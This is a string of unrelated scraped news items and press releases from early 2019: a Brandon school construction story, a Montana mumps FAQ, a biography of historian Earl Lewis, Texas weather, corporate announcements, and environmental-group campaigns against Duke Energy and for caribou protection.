The school will be constructed for 450 students, with the ability to expand to accommodate 675 students.

At 65,660 square feet, it will have 40 nursery school spaces, a child-care centre for 20 infants and 54 preschool children, and 14 regular classrooms and kindergarten rooms.

It will also have art, band and science rooms, a science, technology electronics and math (STEM) lab, life skills, resource teaching and guidance suites, an English as an additional language room, a library and a gymnasium, a nutrition and textiles lab, and a construction shop.

Fresh Projects has worked on a number of different assignments in the past, including a one-storey addition to the Flin Flon hospital, 93 single-family dwelling units on Little Saskatchewan First Nation, and a Manitoba Housing project that included the demolition and new builds of 36 balconies, four canopies and four landings of two housing complexes.

The work they did on the hospital will be similar to what they will be doing with the new school, said Sean Fehr, chief operating officer at Fresh Projects.

"The complications that you run into in a hospital are similar to complications that you run into in a school build, mostly behind the scenes," Fehr said. "What people see is the end result, but the complicated part is putting all the pieces together with regards to mechanical, electric and systems components."

At the peak of the new school build  which they think will be this summer  its expected that they will have between 100 to 130 people working on the project. A minimum 60 per cent of the workers will be local, Fehr said.

"It would be our goal to engage as many of those individuals to be local as possible," he said. "The Brandon community is a very progressive and well-organized area, so definitely the skills are there."

A groundbreaking ceremony for the school was slated for this month, but Ross said theyre unsure if it will still happen on time. The contract still needs to be finalized, she said, adding that it needs to be signed by all the parties and they still need building permits.

"It should be shortly after that if it doesnt," she said.

The new school is expected to be finished in August 2020 and will be built at 700 Maryland Ave.

 mverge@brandonsun.com

 Twitter: @Melverge5Sioux Valley Dakota Nation will end its security program this Friday due to funding.

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Sioux Valley Dakota Nation will end its security program this Friday due to funding.

A public notice posted to the Sioux Valley governance website on Monday said the program would be discontinued effective Feb. 15. The notice said it was unfortunate that Sioux Valley would be unable to continue funding the program.

We thank (Sioux Valley Dakota Nation) security for all they have provided, the notice read. Please call 911 for all emergencies to dispatch RCMP.

Chief Jennifer Bone told The Sun Tuesday that she did not have time to comment. No one from the Sioux Valley office was available for comment either.

The Sun asked the Manitoba RCMP if the programs cancellation changes how police respond to emergency calls in Sioux Valley, but did not receive a response before the end of the day Tuesday.

 The Brandon SunSidebar

Mumps FAQ from the Gallatin City-County Health Department

What is mumps?

Mumps is a viral disease characterized by swelling of the parotid or salivary glands along the face, neck and jaw. The swelling can last from two to ten days. The incubation period (time from when you were infected to when you have symptoms) is 12-25 days. Other symptoms, in addition to the swelling around the neck and jaw, include fever, malaise (tiredness) , muscle aches and headache. Up to 25% of people with mumps may have few or no symptoms.

How does the mumps virus spread?

Mumps is spread by droplets of saliva or mucus from the mouth, nose, or throat of an infected person. Saliva can pass from one person to another when they share straws, spoons, forks, cups, cans, bottles and even lip gloss. Mumps is also commonly spread when an infected person coughs or sneezes, and a non-infected person inhales respiratory droplets that contain the virus.

How soon after infection do symptoms occur?

Symptoms usually occur 16 to 18 days after infection. The time between infection and illness can be as short as 12 days or as long as 25 days.

When can mumps be spread?

A person with mumps is most contagious before symptoms even appear. People with mumps are usually contagious from two days before to five days after the jaw/neck swelling starts.

How can a person with mumps avoid spreading it to others?

 Stay at home for five days after symptoms (salivary gland swelling) begin (required by Montana ARM 37.114.501), avoid school, work, social gatherings, and other public settings.

 Dont share eating or drinking utensils.

 Cover your mouth and nose with a tissue when you cough or sneeze. If you dont have a tissue available, cough or sneeze into your upper sleeve or elbow, not your hands.

 Wash your hands frequently with soap and water or an alcohol-based hand cleaner.

Is there a vaccine to prevent mumps?

Yes, the mumps vaccine is given on or after a child's first birthday. In the United States, it is usually combined with measles and rubella vaccines, together known as MMR (measles, mumps and rubella). A second dose of mumps vaccine is recommended before children enter school (when they are four to six years old.) People who receive two doses of mumps vaccine are much less likely to develop mumps than those who have one dose or none.

Can people who have been vaccinated still get mumps?

Yes, for every 100 people vaccinated, 80 to 90 of them will be fully protected, but 10 to 20 are at risk for the disease. Though mumps vaccination cannot protect everyone, the vaccine greatly lowers the number of people who get sick when exposed to the virus. If a community maintains a high vaccination rate, the risk of exposure declines too. And while vaccination cannot protect everyone from developing mumps, people who get mumps following vaccination are at lower risk of problems and usually experience a more mild case.

How do I reduce my chance of getting the mumps?

People who have 2 doses of MMR are presumed to have immunity to mumps. Also, people born before 1957, people who have laboratory confirmation of the disease and people with positive titers (blood tests that can determine if a person has immunity) are also presumed to have immunity.

What should I do if I think I (or my child) was exposed to mumps?

If you are exposed to mumps and have been vaccinated, you are less likely to develop the disease. Two doses of MMR is required for enrollment in Montana schools. If your child has a religious or medical exemption for the MMR vaccine, they may be excluded from school until such time as it is safe for them to return, possibly 25 days or longer.

What should I do if I have symptoms?

If you or your child develops swelling along the face and neck along with a fever, please stay home from work, school, sports and all public gatherings for five days after symptoms start. You should seek medical care to be properly diagnosed.

Is there a treatment for mumps?

There is no cure for mumps, only supportive treatment (bed rest, fluids, and fever reduction).

How is mumps diagnosed?

Mumps is diagnosed by a combination of symptoms along with lab tests (either throat swab, blood and/or urine sample). Your health care provider will determine the appropriate test for diagnosis.

What problems can mumps cause?

 The vast majority of mumps cases do not lead to serious complications.

 The mumps virus can cause inflammation of the central nervous system, but the resulting illness (viral meningitis) is usually not serious. Headache and stiff neck may occur in up to 15% of people with mumps.

 Males who are past puberty may experience orchitis, or testicular inflammation. It causes pain, swelling, nausea, vomiting and fever. The affected area may remain tender for weeks. Approximately half of patients with orchitis experience some atrophy of the testicles, but they rarely lose the ability to produce sperm.

 Some women may experience inflammation of the ovaries or breasts from mumps.

 Deafness, in one or both ears, occurs in approximately one person out of 20,000 who develops mumps.

Why are some students not immunized against mumps?

Montana state law allows parents or guardians to claim medical or religious exemptions from state immunization requirements. This provision in state law allows students with these exemptions to attend school without the required vaccines.

What can be done to protect students who are not immunized against mumps?

Health department officials will be assessing students immunization status and may decide, as allowed by state law, to exclude unimmunized students from school in order to protect the safety of the student and limit spread of the disease. If this action is taken, Health Department staff will contact parents directly to discuss this course of action. The good news is that guidance from the American Academy of Pediatrics and the Centers for Disease control has determined that unimmunized students can return to school immediately if they are vaccinated against mumps.

Why are some students being excluded from school after children who have had the mumps have returned?

People with mumps are contagious until 5 days after the parotid swelling starts. They need to stay home for those 5 day but can return to school on day 6. Since mumps has a long incubation period(12 days) other students who were exposed will not develop symptoms until 12 days after exposure and as long as 25. That is why unvaccinated students will need to stay out of school for up to 25 days after the latest diagnosed case.

I know a child is unvaccinated but was back in school, why are they allowed back in?

The guidance from the American Academy of Pediatrics and the CDC says unvaccinated students can be readmitted immediately after they are vaccinated.

Is mumps a serious disease?

Mumps can be serious, but most people with mumps recover completely in a few weeks. While infected with mumps, many people feel tired and achy, have a fever, and swollen salivary glands on the side of the face. Others may feel extremely ill and be unable to eat because of jaw pain, and a few will develop serious complications. Men and adolescent boys can develop pain or swelling in their testicles, which rarely results in sterility. Inflammation of the protective membranes covering the brain and spinal cord (meningitis) and loss of hearing can also occur, and in rare cases, this hearing loss can be permanent. The most serious complication is inflammation of the brain (encephalitis), which can lead to death or permanent disability.

I've been told that I need to stay away from people while I'm sick with mumps. What does that mean and why does it matter?

When you have mumps, you should avoid prolonged, close contact with other people until at least five days after your salivary glands begin to swell because you are contagious during this time. The time it takes for symptoms to appear after a person is exposed to the virus can range from 12 to 25 days. You should not go to work or school. You should stay home when you are sick with mumps and limit contact with the people you live with; for example, sleep in a separate room by yourself if you can. Staying home while sick with mumps is an important way to avoid spreading the virus to other people. People who are infected with mumps dont get sick right awayit can take 2 to 4 weeks for them to show signs of infection.Dr. Earl Lewis

Dr. Earl Lewis is a prominent social historian and champion of the humanities and the liberal arts. Former president of the Andrew Mellon Foundation, Lewis is currently founding director of the Center for Social Solutions and professor of history and Afro-American and African Studies at the University of Michigan.



A graduate of Concordia College in Minnesota, he earned a PhD at the University of Minnesota in 1984. After teaching at the University of CaliforniaBerkeley (1984-1989) and the University of Michigan (1989-2004), he moved to Emory University, where he served as executive vice president for academic affairs and provost as well as the Asa Griggs Candler Professor of History and African American Studies. He was Emory Universitys first African American provost and at the time the highest-ranking African American administrator in the universitys history.

In 2013, Lewis became the sixth president of the Andrew J. Mellon Foundation, where he reaffirmed the Foundations commitment to the humanities, the arts, and higher education. During his tenure, the Foundation made grants totaling more than $1.2 billion as he spearheaded the implementation of their first strategic plan, reshaped key program areas, and expanded the number and types of grantees supported. He also launched a range of important initiatives, including the Mellon Research Forum and the Our Compelling Interests book series and initiative, which investigates how diversity and social connectedness are imperative to our shared success and a broader sense of prosperity.

In 2018, Lewis returned to the University of Michigan to lead the Center for Social Solutions, a project that takes on the challenging issues of the day, including Water, Equity, and Security, The Future of Work, and Slavery and Its Aftermath. In addition to his 1991 monograph In Their Own Interests: Race, Class and Power in Twentieth-Century Norfolk, Lewis is the author or coeditor of seven books, including The African American Urban Experience: Perspectives from the Colonial Period to the Present; Defending Diversity: Affirmative Action at the University of Michigan; To Make Our World Anew: A History of African Americans; and the eleven-volume The Young Oxford History of African Americans. Lewis was elected a fellow of the American Academy of Arts and Sciences in 2008.Richwood, TX (77531)

Today

Isolated thunderstorms during the morning hours, then skies turning partly cloudy during the afternoon. High 91F. Winds S at 10 to 20 mph. Chance of rain 30%..

Tonight

A few clouds. Low near 80F. Winds SSE at 10 to 15 mph.Richwood, TX (77531)

Today

Sun and clouds mixed. A stray shower or thunderstorm is possible. High 92F. Winds S at 10 to 20 mph..

Tonight

A few clouds. Low around 80F. Winds SSE at 10 to 15 mph.PR Newswire

LONDON, Feb. 12, 2019

LONDON, Feb. 12, 2019 /PRNewswire/ -- The global digital printing packaging market is estimated to reach revenues of around $28 billion by 2024, growing at a CAGR of approximately 11% during 2018-2024. Download the full report: https://www.reportbuyer.com/product/5730657 The global digital printing packaging market is driven by growing demand from various industries such as food and beverage, healthcare, electronics, and others. China, Germany, Japan, and India are emerging as the powerhouses in the global market. The market research report provides in-depth market analysis and segmental analysis of the global digital printing packaging market by technology, end-user application, package type, and geography. The report considers the present scenario of the global digital printing packaging market and its market dynamics for the period 2019?2024. It covers a detailed overview of various market growth enablers, restraints, and trends. The study covers both the demand and supply sides of the market. It also profiles and analyzes the leading companies and various other prominent companies operating in the market. Digital Printing Packaging Market  Dynamics The growing preference for enhanced product presentability across several consumer brands is driving the demand in the global digital printing packaging market. The appearance of the product often influences the buyer immediately, the first impression of the product will result in the ultimate purchase decision of the consumers. The companies are leveraging product packages to promote their products on digital media in the market. The rising demand for short-run product printing, variations in SKU (Stock Keeping Unit), and seasonal & one-off promotional packets is propelling the growth of the global digital printing packaging market. Digital printing helps reduce overhead costs and enhance productivity in the global market. The quality of this printing has a range of different impressions without any hurdles and provides the flexibility option by printing exactly the volume required to be printed in the market. The ability to print just-in-time quantities is one of the major benefits of digital technology in the global market. The rising demand from various industrial applications such as food & beverages (F&B), cosmetics, and healthcare industries is contributing to the revenues in the global digital printing packaging market. The increasing availability of various materials such as label packaging, folding cartons, corrugated packaging, and flexible packaging will contribute to the growing revenues. The inclination towards flexibility and convenience will contribute to the growing revenues in the global digital printing packaging market. The growing popularity of zip locks, resealable seals, and the reusability feature of packets will promote sustainability. Digital Printing Packaging Market  Segmentation This market research report includes a detailed segmentation of the market by technology, end-user application, package type, and geography. The global digital printing packaging market by technology is segmented into inkjet technology and electrophotography. Inkjet technology segment dominated more than half of the total market share in 2018, growing at CAGR of around 16% during the forecast period. Inkjet technology is one the latest and emerging trend in the global market. The inkjet systems have a certain single-pass system possess separate rows of different print heads for each color, thereby offering smoother and more precise label information in the market. Electrophotography is the most recognized and widely used solution in label packaging in the global market. The ability to produce top quality prints over a wide range of material substrates will boost the adoption of this technology in the global digital printing packaging market. The package type in the global digital printing packaging market is classified into labels, corrugated packaging, folding packaging, and flexible packaging. Corrugated packaging is the fastest growing segment in the global market, at a CAGR of approximately 12% during the forecast period. Corrugated boxes and cardboards are the most popularly used package in the global market. The presence of a diverse range of products catering to a wide range of industries is one of the primary factors contributing to the growth of this segment. Labels comprise of a broad range of details, and it has to contain precise and accurate information. The manufacturers are leveraging labels to enhance the products appeal, resulting in higher demand in the digital printing packaging market. The global digital printing packaging market by end-user application is categorized into food & beverage, electronics, healthcare, personal care, and others. Food and beverage segment occupied more than half of the total market share in 2018, growing at a CAGR of around 11% during the forecast period. The wide range of products and a shorter lifespan of consumer goods is propelling the growth of this segment in the global market. The rising demand for hand care, color cosmetics, face care, hair care, and body care products are boosting the growth of the personal care segment in the global market. The wide range of products catering to a large group of consumers will create lucrative opportunities for the vendors operating in the digital printing packaging market. Market Segmentation by Technology  Inkjet Technology  Electrophotography Market Segmentation by Package Type  Labels  Corrugated Packaging  Folding Packaging  Flexible Packaging Market Segmentation by End-User Application  Food & Beverage  Electronics  Healthcare  Personal Care  Others Digital Printing Packaging Market  Geography The geographical segment in the global digital printing packaging market is divided into APAC, Europe, North America, Latin America, and MEA. APAC dominated the largest market share in 2018, growing at a CAGR of around 12% during the forecast period. The growing demand for innovative food and beverage and cosmetic product packages is driving the demand in the APAC market. Japan, China, India, and South Korea are the largest revenue generators in the APAC region. The exponential growth of the organized retail sector will drive the European market over the next few years. The rising employment, relaxed monetary policy stance, and a boost in investor sentiments are some of the major factors contributing to the development of the European digital printing packaging market.The European Union (EU) has initiated the Horizon 2020 program, which is the largest R&D funding and innovation program. Market Segmentation by Geography  APAC  China  Japan  India  Europe  Germany  UK  France  North America  US  Canada  Latin America  Brazil  Mexico  Argentina  MEA  Saudi Arabia  UAE  South Africa Key Vendor Analysis The global digital printing packaging market is moderately fragmented due to the presence of top vendors commanding the competition level. The increasing focus on innovations and upgrades will intensify the competition in the global market. The leading vendors are a focus on quality, technology, and price to sustain the competition in the market. Large manufacturers are shifting and expanding their production facilities in emerging countries such as China, South Korea, Japan, India, and Taiwan in the global market. The introduction of many innovative and advanced solutions will boost revenues in the global digital printing packaging market. The major vendors in the global market are:  HP  E.I. Du Pont de Nemours & Co  Mondi  Xeikon  Xerox Other prominent vendors include Quad/Graphics, Cenveo, Dainippon Screen Graphics, EC Labels, Graphix Labels and Packaging, Edwards Label, INX International, Quantum Print and Packaging, Traco Manufacturing, CCL Healthcare, Heidelberg USA, Barberan, Cyan Tec, Hinterkopf, Minolta, WS Packaging Group, Krones, Hymmen, Landa Digital Printing, Mark Andy, and Sun Automation. Key market insights include 1. The analysis of the global digital printing packaging market provides market size and growth rate for the forecast period 2018-2023. 2. It offers comprehensive insights into current industry trends, trend forecast, and growth drivers about the global digital printing packaging market. 3. The report provides the latest analysis of market share, growth drivers, challenges, and investment opportunities. 4. It offers a complete overview of market segments and the regional outlook of the global digital printing packaging market. 5. The report offers a detailed overview of the vendor landscape, competitive analysis, and key market strategies to gain competitive advantage.Download the full report: https://www.reportbuyer.com/product/5730657 About Reportbuyer Reportbuyer is a leading industry intelligence solution that provides all market research reports from top publishers For more information: Sarah Smith Research Advisor at Reportbuyer.com Email: [email protected] Tel: +1 (718) 213 4904 Website: www.reportbuyer.com

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SOURCE ReportBuyerPR Newswire

HOUSTON, Feb. 12, 2019

HOUSTON, Feb. 12, 2019 /PRNewswire/ -- Rowan Companies plc ("Rowan" or the "Company") (NYSE: RDC) announced today that the Rowan Renaissance, an R-Class ultra-deepwater drillship, has been awarded a one-well contract in Mexico by PC Carigali Mexico Operations, S.A. de C.V. ("Petronas") for an estimated duration of 80 days that is expected to commence in the second quarter of 2019. Following the initial contract term, Petronas has a one-well priced option with an estimated duration of 80 days. The Rowan Renaissance is currently under contract with Total in Mexico's Gulf of Mexico until about March 2019.

Rowan is a global provider of contract drilling services with a fleet of 25 mobile offshore drilling units, composed of 21 self-elevating jack-up rigs and four ultra-deepwater drillships. The Company's fleet operates worldwide, including the United States Gulf of Mexico, Mexico, the United Kingdom and Norwegian sectors of the North Sea, the Middle East, the Mediterranean Sea, Central and South America. Additionally, the Company is a 50/50 partner in a joint venture with Saudi Aramco, entitled ARO Drilling, that owns a fleet of seven self-elevating jack-up rigs that operate in the Arabian Gulf. The Company's Class A Ordinary Shares are traded on the New York Stock Exchange under the symbol "RDC". For more information on the Company, please visit www.rowan.com.

Statements herein that are not historical facts are forward looking statements within the meaning of the Private Securities Litigation Reform Act of 1995, including, without limitation, statements as to the effective commencement date, scope of work, and duration of the contracts. These forward-looking statements are based on our current expectations and are subject to numerous risks, assumptions, trends and uncertainties that could cause actual results to differ materially from those indicated by the forward-looking statements. Among the factors that could cause actual results to differ materially include oil and natural gas prices and the impact of the economic climate; changes in the offshore drilling market, including fluctuations in supply and demand; variable levels of drilling activity and expenditures in the energy industry; changes in day rates; ability to secure future drilling contracts; cancellation, early termination or renegotiation by our customers of drilling contracts; customer credit and risk of customer bankruptcy; risks associated with fixed cost drilling operations; unplanned downtime; operating hazards and equipment failure; risks of collision and damage; casualty losses and limitations on insurance coverage; weather conditions in the Company's operating areas; hostilities, terrorism, and piracy; impairments; cyber incidents; the outcomes of disputes, including tax disputes and legal proceedings; and other risks disclosed in the Company's filings with the U.S. Securities and Exchange Commission. Each forward-looking statement speaks only as of the date hereof, and the Company expressly disclaims any obligation to update or revise any forward-looking statements, except as required by law.

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SOURCE Rowan Companies plcPR Newswire

HOUSTON, Feb. 12, 2019

HOUSTON, Feb. 12, 2019 /PRNewswire/ -- Prosperity Bancshares, Inc. (NYSE: PB) today announced the retirement of David Hollaway, Chief Financial Officer of Prosperity Bancshares and Prosperity Bank (the "Bank"), effective April 1, 2019. Mr. Hollaway served as CFO since joining the Bank in 1992. Following his retirement as CFO, Mr. Hollaway plans to continue to work with the Bank in a reduced capacity for at least two years, assisting with the transition of his duties and other financial and operational matters. Prosperity has initiated a search for a successor.

"On behalf of the Board and management team, I thank Dave for the significant contributions that he has made to Prosperity over the years, helping it grow from $203 million in assets in 1992 to $23 billion in assets today. As Dave transitions his CFO responsibilities, he leaves behind a highly efficient and disciplined operational foundation, positioning the company well for continued success. We wish him the best in his retirement," commented David Zalman, Chairman and Chief Executive Officer.

Prosperity Bancshares, Inc.

As of December 31, 2018, Prosperity Bancshares, Inc. is a $22.693 billion Houston, Texas based regional financial holding company, formed in 1983. Operating under a community banking philosophy and seeking to develop broad customer relationships based on service and convenience, Prosperity offers a variety of traditional loan and deposit products to its customers, which consist primarily of small and medium sized businesses and consumers. In addition to established banking products, Prosperity offers a complete line of services including: Internet Banking services at http://www.prosperitybankusa.com, Retail Brokerage Services, Credit Cards, MasterMoney Debit Cards, 24-hour voice response banking, Trust and Wealth Management, Mortgage Services, Cash Management, and Mobile Banking.

Prosperity currently operates 242 full-service banking locations: 65 in the Houston area, including The Woodlands; 29 in the South Texas area including Corpus Christi and Victoria; 33 in the Dallas/Fort Worth area; 22 in the East Texas area; 29 in the Central Texas area including Austin and San Antonio; 34 in the West Texas area including Lubbock, Midland-Odessa and Abilene; 16 in the Bryan/College Station area, 6 in the Central Oklahoma area and 8 in the Tulsa, Oklahoma area.

"Safe Harbor" Statement under the Private Securities Litigation Reform Act of 1995: This release contains forward-looking statements within the meaning of the securities laws that are based on current expectations, assumptions, estimates and projections about Prosperity Bancshares and its subsidiaries. These forward-looking statements are not guarantees of future performance and are subject to risks and uncertainties, many of which are outside of Prosperity's control, which may cause actual results to differ materially from those expressed or implied by the forward-looking statements. These risks and uncertainties include but are not limited to whether Prosperity can: successfully identify acquisition targets and integrate the businesses of acquired companies and banks; continue to sustain its current internal growth rate or total growth rate; provide products and services that appeal to its customers; continue to have access to debt and equity capital markets; and achieve its sales objectives. Other risks include, but are not limited to: the possibility that credit quality could deteriorate; actions of competitors; changes in laws and regulations (including changes in governmental interpretations of regulations and changes in accounting standards); a deterioration or downgrade in the credit quality and credit agency ratings of the securities in Prosperity's securities portfolio; customer and consumer demand, including customer and consumer response to marketing; effectiveness of spending, investments or programs; fluctuations in the cost and availability of supply chain resources; economic conditions, including currency rate, interest rate and commodity price fluctuations; and weather. These and various other factors are discussed in Prosperity Bancshares' Annual Report on Form 10-K for the year ended December 31, 2017 and other reports and statements Prosperity Bancshares has filed with the SEC. Copies of the SEC filings for Prosperity Bancshares may be downloaded from the Internet at no charge from http://www.prosperitybankusa.com.

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SOURCE Prosperity Bancshares, Inc.Reciba en su email: noticias de ultima hora, analisis tecnicos o el cierre de mercado

Email no valido Nombre requerido Recibira las informaciones mas relevantes del dia en tiempo real Que informacion desea recibir? Noticias de Ultima hora Boletin Cierre de Mercado Boletin analisis tecnico Boletin Fundsnews Debe seleccionar un tipo de boletin Acepto la Politica de privacidad Debe aceptar la politica de privacidad Responsable EMPRESAS DEL GRUPO WEB FINANCIAL GROUP Finalidad La remision de informacion, novedades y promociones Establecimiento o mantenimiento de Relaciones Comerciales. Legitimacion Consentimiento del interesado. Interes legitimo en el desarrollo de la relacion comercial Destinatario Empresas del Grupo WEB FINANCIAL GROUP Derechos Acceso, rectificacion, supresion, limitacion, oposicion y portabilidad Informacion adicional Politica de Privacidad de nuestra pagina Web + INFORMACIONRichard Hanners is a reporter for the Blue Mountain Eagle. He can be contacted at rick@bmeagle.com or 541-575-0710.SIGN UP TO GET BLACKLISTED NEWS DELIVERED RIGHT TO YOUR INBOX Enter your email address:



In celebration of World Radio Day on 13 February, R2K will launch its #LoveYourCommunityMedia campaign. The campaign is aimed at building and strengthening community media.The campaign will include a call for an annual grant to community media organisations to provide quality and independent journalism, and a platform for ordinary citizens to become community media activists at a local level.The campaign also encompasses a poster and pamphlet championing community media activism and a mobile petition for the public to support the call for better funding for their community media stations.For Immediate Release, February 13, 2019 Contacts: Jim Warren, NC WARN, (919) 416-5077, jim@ncwarn.org

Jean Su, Center for Biological Diversity, (415) 770-3187, jsu@biologicaldiversity.org

Karen Bearden, 350 Triangle, (919) 844-9050. chickadeebirders@gmail.com

Emily Wurth, Food & Water Watch, (202) 412-1505, ewurth@fwwatch.org Campaign Targets Duke Energy's Monopoly Control of North Carolina's Electric System

RALEIGH, N.C. A new, diverse coalition of 15 local, state and national groups today launched what they called a vigorous statewide campaign to end Duke Energys monopoly control of North Carolinas energy markets and public officials, saying the corporation is harming communities, gouging consumers and making climate change worse. Its a rare citizen-led effort organized to break up the monopoly control of a U.S. corporate utility.



The campaign, called Energy Justice NC: End the Duke Monopoly, promotes common-sense energy policies that shift the state to a more affordable, safer and secure electric system. The coalition says those policies create local jobs and community wealth, market competition and consumer choice. The Energy Justice NC coalition is anchored by leaders from communities suffering the impacts of Dukes corporate portfolio of toxic coal ash pollution, the proposed fracked-gas Atlantic Coast Pipeline, hog waste biogas and worsening hurricanes caused in part by Dukes ongoing burning of coal and fracked natural gas.



In addition, the coalition says, all state residents are burdened by Dukes blocking of competition from cheaper renewable energy companies, constant electric bill increases from Dukes expanding use of fracked gas, and the utilitys $13 billion scheme for unnecessary transmission improvements  all of which cause power bills to soar year after year. Charlotte-based Duke Energy is the largest U.S. power provider and generates 90 percent of the electricity used in North Carolina.



Our communities are being harmed both by Duke Energys coal ash negligence and by repeated flooding from our changing climate, said Bobby Jones of the Down East Coal Ash Coalition, speaking at a press conference today at the First Baptist Church in downtown Raleigh. Dukes influence is a moral decay that erodes our democracy  and were calling for people across North Carolina to tell their public officials to stop taking Duke Energys toxic influence money, he said. After the event Jones and other coalition members walked to the state capitol to deliver a letter to Gov. Roy Cooper and legislative leaders Phil Berger and Tim Moore calling on them to personally agree to stop taking political influence money from Duke and from Dominion Energy. Stopping state and local officials, along with civic leaders, from taking electric monopoly money is one of the campaigns three key goals. The Energy Justice NC coalition is also launching a statewide petition drive housed on its new website for individuals, organizations and businesses. The petition calls on Gov. Cooper and legislators to begin an open process for revamping the states electricity system  thus forcing Duke Energy to stop thwarting growth of solar, wind and energy storage companies. The coalition is pursuing legislation to open the state to electricity competition. Our communities are being devastated by repeated flooding, said Donna Chavis of Robeson Countys RedTailed Hawk Collective and Friends of the Earth. Ironically Duke Energys executives are targeting us with the ACP fracked gas pipeline, which would make climate change even worse. We dont need that gas, and this coalition is pressing to open North Carolina to competition from cheaper, renewable energy.



The third prong of the campaign is to press for appointments to the North Carolina Utilities Commission who will stand up to Duke Energy, prioritize the public interest and protect the states natural beauty.



We must create a Utilities Commission that puts the future of our residents above the stock prices of Duke Energy, said Amy Adams of Appalachian Voices today. We must demand freedom from the relentless rate hikes that hurt our low income and fixed income neighbors and freedom from decisions based on profits. The coalition says polls show widespread voter support  across the political spectrum  for energy choice, renewable power and fair decision-making, and that they intend to turn that support into action. For many years Duke Energy has been among the states largest political contributors.



Local groups from communities heavily affected by pollution and hurricanes are joined in the coalition by state and national organizations focusing on climate and environmental justice. The coalition says Duke is making climate change worse through its huge expansion of fracked gas even as cheaper, clean power and energy storage are rapidly changing competitive market places.



Duke's energy monopoly, where dirty power is king, needs to end, said Jean Su, energy director at the Center for Biological Diversity. The climate crisis demands we ditch fossil fuels as fast as possible, but Dukes stranglehold on North Carolina is stopping the clean energy transition in its tracks. It's time to break Duke's monopoly, and its dirty addiction to fracked gas, starting from the ground up. The Energy Justice NC Coalition:



350 Triangle

Karen Bearden, (919) 844-9050, chickadeebirders@gmail.com Alliance for Climate Education

Kathryn Kevin, (984) 212-3444, kathryn@acespace.org Alliance for Energy Democracy

Richard Fireman, (828) 645-0469, richard.fireman1@gmail.com Appalachian Voices

Amy Adams, (828) 964-7431, amy@appvoices.org Center for Biological Diversity

Jean Su, (415) 770-3187, JSu@biologicaldiversity.org Concerned Citizens of Maxton

Sallie McLean, (910) 587-3388, mcleansallie@yahoo.com Down East Coal Ash Coalition

Bobby Jones, (919) 394-0727, bibija@aol.com Food & Water Watch

Emily Wurth, (202) 683-2489, ewurth@fwwatch.org Friends of the Earth,

Jodi Lasseter, (919) 943-1971, turningtidesconsulting@gmail.com RedTailed Hawk Collective

Donna Chavis, (910) 521-3269, dfc54321@gmail.com NC Climate Justice Collective

Jodi Lasseter, (919) 943-1971, turningtidesconsulting@gmail.com NC Environmental Justice Network

Ayo Wilson, (919) 685-7202, ayobwilson@yahoo.com NC WARN

Jim Warren, (919) 416-5077, jim@ncwarn.org Protecting Progress in Durham

Kelly Garvy, (561) 628-2890, kellygarvy@gmail.com Rachel Carson Council

Elijah Brunson, (803) 847-2312, ebruns20@gmail.comFor Immediate Release, February 13, 2019 Contacts: Andrea Santarsiere, Center for Biological Diversity, (303) 854-7748, asantarsiere@biologicaldiversity.org

Mike Peterson, The Lands Council, (509) 209-2406, mpeterson@landscouncil.org

Gwen Dobbs, Defenders of Wildlife, (202) 772-0269, gdobbs@defenders.org Lawsuit Launched to Protect Dwindling Mountain Caribou Recently Extinct in Lower 48 States, Caribou Badly Need Protection to Return SANDPOINT, Idaho Conservation groups issued a formal notice today of their intent to sue the U.S. Fish and Wildlife Service for failing to finalize endangered species protections and designate critical habitat for Southern Mountain caribou. Fish and Wildlife Service officials sat on their hands for decades while the last wild caribou in the lower 48 states went extinct, said Andrea Santarsiere, a senior attorney at the Center for Biological Diversity. If were going to get Americas beloved reindeer back, they need the strong protections of the Endangered Species Act. The southern Selkirk herd of caribou, which formerly crossed the border between British Columbia and Idaho, has been protected as endangered under the Endangered Species Act since 1983. In 2014 the Fish and Wildlife Service determined that the herd is actually part of a larger population known as the Southern Mountain caribou, which includes a number of herds in Canada, and proposed protecting them as threatened. They are listed as endangered in Canada. The Service, however, never finalized protection for Southern Mountain caribou. The agency also failed to reconsider designating protected critical habitat for the caribou after the groups involved in todays action successfully challenged a previous designation that only included a small fraction of the caribous former range in the United States. Late last year Canada brought the last animals from the southern Selkirk herd into captivity, marking the loss of all caribou from the lower 48 states. The caribou are being held in captivity. It is hoped they will breed and eventually be released back into the wild. The caribou need protection of their habitat for any such release to be successful. Its a tragedy that Southern mountain caribou have been allowed to blink out in the lower 48 states, said Jason Rylander, senior counsel at Defenders of Wildlife. With the right protections in place we can bring them back  and we should. Background

Like many boreal species, caribou once had a broad range in the lower 48, including the northern Rockies in Washington, Idaho and Montana, the upper Midwest and the northeast.



By 1983, when they were protected under the Endangered Species Act, caribou were limited to just the northern Rockies and declining fast. In the 1990s the Fish and Wildlife Service augmented the Selkirk herd with caribou from Canada, which helped the population grow to more than 100 animals. But the effort was abandoned without explanation, allowing the Selkirk herd to languish and decline. In 2011, following a petition and litigation from conservation groups, the Service proposed designating more than 375,000 acres of critical habitat for caribou in Idaho and Washington. The proposal was consistent with the recovery plan for the southern Selkirk herd, which identified a slightly larger area as necessary for recovery. In 2012, however, the Service finalized a designation that only included only about 30,000 acres. This massive cut in critical habitat was successfully challenged by the groups, but the Service has yet to issue a new critical habitat designation. Mountain caribou are an ecotype of the more widespread woodland caribou. They are uniquely adapted to life in the very snowy mountains of British Columbia and the northernmost areas of the northern Rockies in the lower 48 states. The caribou have hooves the size of dinner plates that act like snowshoes. The animals can survive all winter eating arboreal lichens found on the branches of old-growth trees only accessible in winter. Their habitat has become increasingly fragmented by roads and other development. Adding insult to injury, the increased power and popularity of snowmobiles has meant more and more people are infringing on the caribous alpine habitat. Not only do snowmobiles disturb the caribou, they also create compacted trails that provide predators access to caribou during winter.Media Advisory, February 12, 2019 Contact: Sarah Baillie, (520) 345-5708, sbaillie@biologicaldiversity.org Times Square Ad, 1,000 Endangered Species Condoms to Highlight Human Population Growth's Effects on Wildlife NEW YORK One thousand free Endangered Species Condoms will be given away by the Center for Biological Diversity in Times Square on Thursday, Feb. 14 to help couples who are about to get wild to consider population growth's threat to wildlife. The condoms will be distributed for Valentines Day by a group of volunteers and a costumed dugong. The colorful condom packages feature species threatened by population growth and slogans like When youre feeling tender, think about the hellbender. During the condom giveaway, an ad on three digital billboards will play featuring the image of a dugong and the saying Wrap your schlong, save the dugong. The ads will be viewable at 3 Times Square, near the Times Square/42nd Street subway station and Lyric Theatre. The ad and condom distribution are a part of the Centers population and sustainability program, which uses creative media to promote a range of common-sense solutions like access to family planning and reproductive health services, as well as education, opportunity and equal rights for women and girls. Photos, video and a copy of the ad are available upon request. What: Ad and 1,000 Endangered Species Condoms giveaway Where: 3 Times Square, New York, NY When: Thursday, Feb. 14, 12 to 1 p.m. 